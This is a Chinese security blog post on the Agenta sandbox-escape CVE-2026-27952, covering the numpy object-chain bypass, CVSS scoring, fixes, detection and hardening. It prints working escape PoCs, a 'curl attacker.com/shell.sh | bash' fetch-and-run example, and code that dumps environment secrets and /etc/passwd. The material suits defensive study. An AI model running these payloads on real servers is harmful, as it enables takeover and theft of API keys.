AI测试 CVE-2026-27952 | Agenta 沙箱逃逸:白名单放行了 numpy,三行 Python 代码拿下 LLMOps 服务器

匠测AI说 · 2026年09月09日 · 44 次阅读

⚠️ 免责声明: 本文内容仅用于安全研究与教育目的。文中涉及的漏洞均已公开披露且已有官方修复方案。所有复现示例均基于公开安全公告,不构成直接可用的攻击代码。请勿将相关技术用于未经授权的测试或攻击行为。

漏洞等级: CVSS 9.9 严重级(NVD)/ 8.8 高危(GitHub 官方)
影响版本: Agenta-API < 0.48.1(自托管平台 Docker 镜像 agenta-api)
修复版本: 0.48.1(移除 numpy 白名单);v0.60+ 彻底移除 RestrictedPython 沙箱
漏洞类型: Python 沙箱逃逸 → 认证后远程代码执行(RCE),CWE-94 代码注入
攻击前提: 任意已登录账号(不需要管理员),网络可达,无用户交互
影响范围: 自托管 Agenta 平台的 API 服务器进程 —— 文件系统、环境变量、容器内全部密钥(含各家 LLM 的 API Key);独立使用 Agenta SDK 的 Python 库不受影响
利用状态:🟡 GitHub 安全公告自带完整 PoC,SSVC 评级 "技术影响 = 完全接管"
当前状态: ✅ 已修复
公告编号: GHSA-pmgp-2m3v-34mq,发现者 superboy-zjc、jackfromeast


一、漏洞背景

1.1 Agenta 是什么

Agenta 是一个开源 LLMOps 平台,你可以把它理解成"大模型应用的实验台 + 评测中心":管理 prompt 版本、做 A/B 实验、批量跑评测集、给模型输出打分。GitHub 上几千 Star,在 LLMOps 赛道里和 Langfuse、Helicone 是同类产品,支持 Docker 一键自托管。

它有一个很能打的功能:自定义代码评测器(custom code evaluator)

内置的评测器只能算"输出是否包含关键词""正则是否匹配"这类简单指标。但现实中评测逻辑千奇百怪:你可能要算 JSON 字段的加权分、要对输出做语义归一化后再比对、要调用一个统计函数。Agenta 的解决方案是——让用户自己写一段 Python 代码,平台在服务端跑这段代码来给 LLM 输出打分。

让用户上传代码并在服务器上执行,这在安全上是地狱级难度的功能。Agenta 知道这一点,所以他们上了沙箱:用的是 Python 生态里最老牌的沙箱库 RestrictedPython。

然后这个沙箱被三行代码打穿了。

1.2 三行 PoC

2026年2月25日,Agenta 官方在 GitHub 发布安全公告 GHSA-pmgp-2m3v-34mq,公告里直接附上了 PoC:

from security.sandbox import execute_code_safely

code = """
import numpy
a = numpy.ma.core.inspect.sys.modules["os"].system
a("whoami")
"""

execute_code_safely(
    app_params={}, inputs={}, output="",
    correct_answer="", code=code, datapoint={}
)

就这些。没有内存破坏,没有 0day,没有复杂的绕过链。一个普通用户在评测器里提交这段"打分代码",服务器就执行了whoami——把whoami换成curl attacker.com/shell.sh | bash,就是完整的服务器接管。

1.3 9.9 分还是 8.8 分?两个评分都对

这个漏洞有两个 CVSS 评分,差异值得一说:

评分方 分数 向量 关键差异
GitHub 官方 8.8 高危 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 认为影响局限在漏洞组件内
NVD(NIST) 9.9 严重级 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 认为作用域发生变更

分歧在Scope这一项。NVD 的理由是:沙箱的全部意义就是在 API 服务器内部划出一个"不可信代码隔离区",逃逸成功意味着代码突破了这个隔离边界,在本不该触及的安全域里执行——这正是 Scope Changed 的定义。

我认同 NVD。沙箱漏洞的特殊性就在于:它的危害不是"组件内的数据泄露",而是"隔离机制本身失效"。 一个设计来关野兽的笼子被打开,评分当然要按"野兽出来了"算,而不是按"笼子里少了块肉"算。


二、漏洞原理

2.1 RestrictedPython 是怎么工作的

RestrictedPython 是 Zope 社区 20 多年前搞出来的古董级库,思路是在编译期改写 Python 字节码

  1. 你提交的代码先经过compile_restricted()编译
  2. 编译器遍历 AST,把危险操作替换成对守卫函数(guard)的调用:
    • obj.attr_getattr_(obj, "attr"),属性访问要过白名单
    • obj[key]_getitem_(obj, key),下标访问要过守卫
    • import os 直接被拒,导入走_getitem_(__builtins__, ...)受控通道
  3. 内置函数只暴露一个安全子集(lenrangestr这些),openexeceval__import__全部拿掉

理论上,沙箱里的代码碰不到文件系统、碰不到系统调用、连__class__这种反射属性都被守卫拦住。

但 Agenta 为了让评测代码能干活,给沙箱开了个口子:numpy 在导入白名单里。

这个决定本身可以理解——做评测要算数值指标,numpy 是 Python 数值计算的基础设施,不让用 numpy,自定义评测器的实用性砍掉一半。问题是:他们假设了"numpy 是个数学库,所以 numpy 是安全的"。

2.2 逃逸链:numpy.ma.core.inspect

这个假设错在哪?错在安全的不是一个库"能做什么",而是它"引用了什么"。

numpy 不是一个纯计算的黑盒,它本身就是一个庞大的 Python 对象网络。它的子模块numpy.ma.core(掩码数组模块)在内部写了这么一行:

# numpy/ma/core.py 内部
import inspect

inspect是 Python 标准库里的自省模块——而inspect模块内部又引用了sys。于是逃逸路径就形成了:

沙箱内代码
  │
  ├─ import numpy                          ← 白名单放行 ✅
  │
  ├─ numpy.ma.core                         ← numpy子模块,属性访问合法
  │
  ├─ numpy.ma.core.inspect                 ← ma/core.py里import的inspect
  │                                          (作为模块属性挂在那里)
  │
  ├─ numpy.ma.core.inspect.sys             ← inspect内部引用的sys
  │
  ├─ .modules["os"]                        ← sys.modules是所有已加载模块的注册表
  │                                          os在服务端进程里早就加载了
  │
  └─ .system("任意命令")                    ← os.system,游戏结束

注意这条链里没有任何一步是"黑客操作"——每一步都是普通的 Python 属性访问。RestrictedPython 的守卫为什么没拦住?因为守卫只能拦截沙箱内代码直接发起的危险属性访问(比如你手写().__class__),它管不到白名单模块内部已经存在的引用关系。numpy 的模块对象在沙箱外被创建时,inspectsys这些引用就已经挂在它身上了。沙箱放行了 numpy 这个对象,就等于放行了 numpy 对象图里能到达的一切。

用一句话总结:RestrictedPython 能限制你写什么代码,但限制不了你拿到的对象认识谁。

2.3 为什么这类逃逸在 Python 里是"原罪"

熟悉 Python 沙箱逃逸史的同学看到这个 PoC 会觉得眼熟——这就是经典的"对象图漫游"攻击:

  • 早年eval()沙箱逃逸:().__class__.__bases__[0].__subclasses__()遍历所有已加载类,找到warnings.catch_warningsos._wrap_close,从它们的__init__.__globals__里掏出os
  • PyPy 沙箱、Jinja2 沙箱、各种ast过滤方案,十几年里被以同样的思路反复打穿。

根本原因是:Python 的对象模型是全连通的。 任何一个普通对象,通过__class__ → __bases__ → __subclasses__或模块属性链,理论上都能走到进程里的任意模块。语言级沙箱本质上是在一张全连通的图上维护一份"此路不通"的黑名单/守卫点,而攻击者只需要找到一条没被守卫的路径。白名单模块越多,可漫游的对象图越大,路径就越多。

numpy 只是恰好提供了一条特别短、特别稳的路径而已。就算官方从白名单里删掉 numpy,pandas引不引sysscipy引不引inspect白名单里每多一个库,都是在给对象图加入口。

2.4 逃逸之后拿到什么

代码在 API 服务器进程内执行,意味着攻击者直接继承 API 进程的全部权限:

目标 后果
文件系统 容器内任意文件读写:评测数据集、prompt 库、用户上传的测试集
环境变量 LLM API Key 重灾区——自托管 LLMOps 平台必然配置 OpenAI/Anthropic/各家模型的密钥,全部明文躺在环境变量里
数据库 Agenta 自己的 PostgreSQL/Redis,所有租户的评测数据、账号信息
内网横向 以容器为跳板访问内网服务,云环境下可尝试撞元数据接口(169.254.169.254)偷临时凭据
持久化 写 SSH 密钥、crontab、篡改评测器代码留后门

而且攻击门槛极低:任何注册用户都能打,不需要管理员权限,不需要任何人点链接。 公网暴露的 Agenta 实例,攻击者注册个账号、提交一个"评测器"、喝口水的时间服务器就归他了。

2.5 只影响自托管平台,不影响 SDK

公告里有个容易误读的点,说清楚:

  • 受影响:自托管 Agenta 平台(Docker 部署的agenta-api服务),因为自定义评测器代码在服务端 API 进程内执行;
  • 不受影响:把 Agenta 当普通 Python 库pip install agenta在自己脚本里用的场景——评测代码本来就是你自己在本地跑,不存在"沙箱"这回事。

三、模拟复现

⚠️ 以下 PoC 整理自官方安全公告 GHSA-pmgp-2m3v-34mq,仅用于理解漏洞原理。请勿在未经授权的系统上执行。

3.1 最小验证 PoC

官方公告给出的验证代码,核心就是那段三行code字符串:

# 在拥有任意普通账号的Agenta实例上,通过自定义代码评测器提交:
import numpy
a = numpy.ma.core.inspect.sys.modules["os"].system
a("whoami")

评测器"执行打分"时,服务端返回的不是分数——是whoami的执行结果。沙箱在这一步已经不存在了。

3.2 真实攻击会怎么用

验证之后,攻击者的下一步通常是读环境变量(LLMOps 平台最值钱的东西就在这):

import numpy
sys = numpy.ma.core.inspect.sys

# 1. 拖走所有环境变量——OPENAI_API_KEY、ANTHROPIC_API_KEY、数据库密码……
env = sys.modules["os"].environ
for k, v in env.items():
    print(f"{k}={v}")

# 2. 或者直接回shell
sys.modules["subprocess"].check_output(["bash", "-c", "id; ls -la /; cat /etc/passwd"])

完整攻击链:

攻击者(任意注册用户)
    │
    ├─① 登录Agenta平台,进入"自定义代码评测器"
    │
    ├─② 提交"打分代码":
    │     import numpy
    │     numpy.ma.core.inspect.sys.modules["os"].system("恶意命令")
    │
    ├─③ 触发一次评测运行(跑任意一条测试数据即可)
    │
    └─④ 服务端 execute_code_safely() 在API进程内执行
       │
       └─→ RestrictedPython沙箱被numpy对象图绕过
           → 任意命令以API服务器权限执行
           → 环境变量里的LLM API Key、数据库凭据全部失守

3.3 怎么发现自己被打过

RAXE 实验室在关联公告里给了检测指标,挺实用:

  • 评测器代码提交记录中出现 numpy.ma.coreinspectsys.modulesos.systemsubprocess 字样;
  • API 服务器进程异常拉起子进程(shbashcurlwget);
  • 服务器出现意料之外的对外连接(数据外泄通常会连攻击者的服务器);
  • /tmp、容器工作目录出现未知脚本文件。

四、修复记录

4.1 官方修复:两步走

Agenta 的修复分两个阶段,这个过程本身就很有信息量:

阶段 版本 修复方式 评价
紧急止血 v0.48.1 把 numpy 从沙箱白名单里删掉 堵口,但没解决架构问题
架构重做 v0.60+ 彻底移除 RestrictedPython,换成另一套执行模型 官方承认语言级沙箱这条路走不通

注意第二个动作。官方没有选择"继续维护白名单、继续给 RestrictedPython 打补丁",而是把整个沙箱方案连根拔掉换了执行模型。这等于厂商用真金白银的开发量承认了一件事:

在同一个进程里用语言级机制隔离不可信代码,是守不住的。

这和 JavaScript 生态里 vm2 的结局一模一样——vm2 在 2023 年作者公开宣布"放弃维护,沙箱逃逸是结构性问题,请改用进程级隔离",2026 年 5 月 vm2 又被一口气爆出 13 个沙箱逃逸 CVE(9.0-10.0 分),波及所有用 vm2 跑 AI 生成代码的 Agent 框架。历史给的答案非常一致。

4.2 同一个组件,三个月后再爆一次

更有意思的是后续:RAXE 安全实验室在2026年3月4日发布 RAXE-2026-012 公告,披露 Agenta 评测器管线还有第二个 RCE——

CVE 类型 影响版本 修复版本 CVSS
CVE-2026-27952 沙箱逃逸(numpy 白名单) Agenta-API < 0.48.1 0.48.1 9.9
CVE-2026-27961 SSTI 服务端模板注入 Agenta ≤ 0.86.7 0.86.8 8.8

两个洞在同一个组件(evaluator pipeline),一个是代码沙箱逃逸,一个是模板注入,修复版本差了快 40 个小版本。这说明什么?评测器这个功能天然就是"用户输入→服务端执行"的高危管道,只要架构上还让用户输入直达执行层,堵完一个原语还会有下一个。 v0.60 换掉 RestrictedPython、v0.86.8 修 SSTI,本质上都是在给同一个架构决策还债。

4.3 无法立即升级时的缓解

官方和 RAXE 给的临时措施:

  • 直接禁用自定义代码评测器功能,等升级窗口;
  • 不要把 Agenta 端口暴露公网,放反向代理后加网络访问控制;
  • API 容器以低权限运行,环境变量里只给评测必需的最小密钥(LLM Key 用独立的、可快速轮换的);
  • 网络分段,限制 Agenta 容器能访问的内网范围;
  • 审计历史评测器代码提交记录,排查逃逸特征字符串。

五、运营方自救清单

如果你在自托管 Agenta(或任何带"自定义代码执行"功能的 LLMOps/Agent 平台),按优先级排查:

🔴 立即执行

  • pip show agenta 或检查 Docker 镜像 tag,Agenta-API 低于 0.48.1 的立即升级,建议直接升到最新版(同时覆盖 CVE-2026-27961,需≥0.86.8)
  • 排查评测器代码提交历史:搜 numpy.ma.coreinspectsys.modulesos.systemsubprocess
  • 检查 API 服务器是否有异常子进程、异常外连、/tmp下未知脚本
  • 轮换环境变量里所有 LLM API Key 和数据库凭据——只要升级前实例暴露过多用户,按已泄露处理

配置加固

  • 不用自定义代码评测器就关掉它;要用的话严格限制谁能创建(PR:L 是 9.9 分的前提,别让普通注册用户碰执行类功能)
  • 平台不暴露公网,或至少放鉴权反代 +IP 白名单后面
  • 容器以非 root 运行,挂只读根文件系统,seccomp/AppArmor 限制系统调用
  • 容器出网走白名单代理,不让它直连内网和云元数据地址

长期改进

  • 记住这条选型铁律:任何要跑不可信代码的功能,隔离边界必须在进程/容器/微 VM 级别(独立容器、gVisor、Firecracker、nsjail 这类),语言级沙箱(RestrictedPython、vm2、eval+ast 过滤)只能当纵深防御的一层,不能当唯一边界
  • 白名单评审时换个问法:不要问"这个库是干什么的",要问"这个库的对象图能走到哪"——任何间接引用了sys/inspect/builtins的库都等于放行全进程
  • 密钥不要静态躺环境变量,走短期 Token/密钥代理,让逃逸后能拿走的东西最少

六、总结思考

6.1 2026 年,沙箱逃逸成了 AI 基础设施的主题漏洞

把视野拉开看,Agenta 这个洞不是孤例,而是 2026 年一整类漏洞的缩影:

时间 事件 分数
2026.02 Agenta RestrictedPython 沙箱逃逸(本篇) 9.9
2026.05 vm2 沙箱逃逸 13 连爆,波及所有用 vm2 跑 AI 生成 JS 的 Agent 框架 9.0-10.0
2026.07 Pillar Security"沙箱逃逸周":Cursor、Codex CLI、Gemini CLI、Antigravity 集体中招 8.5+
2026.08 NVIDIA OpenShell for Linux 沙箱逃逸,Agent 隔离边界被直接打破,已被野外利用 9.9

微软安全研究在 vm2 那波漏洞里提了个框架,叫"Prompts Become Shells"(提示词变成 shell):AI Agent 时代,模型生成的代码、用户提交的配置、prompt 里夹带的指令,最终都会流向某个执行点。执行点外面如果只包了一层语言级沙箱,那从 prompt 注入到宿主机 RCE 之间,只差一个逃逸原语。

Agentic AI 基础设施正在成为高价值目标——安全圈现在的说法是:沙箱逃逸对 AI 基础设施的意义,就像 hypervisor 逃逸对虚拟化的意义。 笼子是这个产品的核心安全承诺,笼子破了,里面跑的东西越高级,事故越大。

6.2 "数学库很安全"是白名单思维的典型陷阱

这个漏洞最值得每个开发者咀嚼的细节是 numpy。

审查白名单时,人的直觉是按"功能"判断危险性:os是系统库,危险;subprocess是执行命令的,危险;numpy是算矩阵的,安全。但 Python 的模块不是按功能封装的孤岛,它们共享同一个进程、同一个对象图。numpy.ma.core为了自己实现方便 import 了inspect,这个和安全毫无关系的实现细节,就成了通向sys.modules的高速公路。

安全边界不能建立在"这个库看起来人畜无害"上。 白名单的正确评审单位不是"库名",而是"对象可达性"——任何能接触到sysinspectbuiltins__globals__的引用链,都是边界上的洞。而在 Python 里,想证明一个库碰不到这些东西,几乎不可能。这也是为什么官方最后选择删掉整个 RestrictedPython 方案:白名单维护是一场打不赢的战争。

6.3 给 AI 开发者的三条实操结论

  1. 要跑不可信代码(用户上传的、模型生成的),隔离从进程开始,而不是从 import 限制开始。 独立容器 + 非 root+ 只读文件系统 + 无网络或网络白名单 +seccomp,这是底线组合;RestrictedPython、vm2、ast 过滤可以加,但只能当第二道、第三道防线。
  2. "执行用户代码/模板/配置"的功能,默认按 RCE 面设计。 权限收到最小(Agenta 的教训是普通登录用户就能打)、密钥放到最远(环境变量里别长期躺生产 Key)、审计日志记全(谁提交了什么代码、执行时拉起了什么进程)。
  3. 看厂商安全公告时,关注"修复方式"比关注"漏洞本身"更有信息量。 Agenta 从白名单删 numpy 是止血,v0.60 直接换掉沙箱方案才是真修复——当一个厂商开始换架构而不是打补丁,说明这个漏洞类别在它内部已经复现了不止一次。Agenta 三个月后在同一个评测器上又爆 SSTI(CVE-2026-27961),恰好印证了这一点。

参考资料

  1. GitHub Security Advisory GHSA-pmgp-2m3v-34mq, "Python Sandbox Escape in Agenta, Leading to Remote Code Execution (RCE)", 2026-02-25
  2. NVD, CVE-2026-27952 详情(CVSS 9.9, S:C)
  3. Tenable, CVE-2026-27952 漏洞档案
  4. SentinelOne, "CVE-2026-27952: Agenta LLMOps Platform RCE Vulnerability", 2026-02-27
  5. RAXE Security, RAXE-2026-012: "Agenta LLMOps Sandbox Escape and SSTI in Evaluator Pipeline (CVE-2026-27952, CVE-2026-27961)", 2026-03-04
  6. Kodem Security, "vm2 Sandbox Escape Vulnerabilities: The 2026 CVE Wave Turning AI Agents Into Host RCE Vectors", 2026-05-14
  7. Cloud Security Alliance, "AI Coding Agent Sandbox Escapes: The Trust Handoff Flaw", 2026-07-22

暂无回复。
需要 登录 后方可回复, 如果你还没有账号请点击这里 注册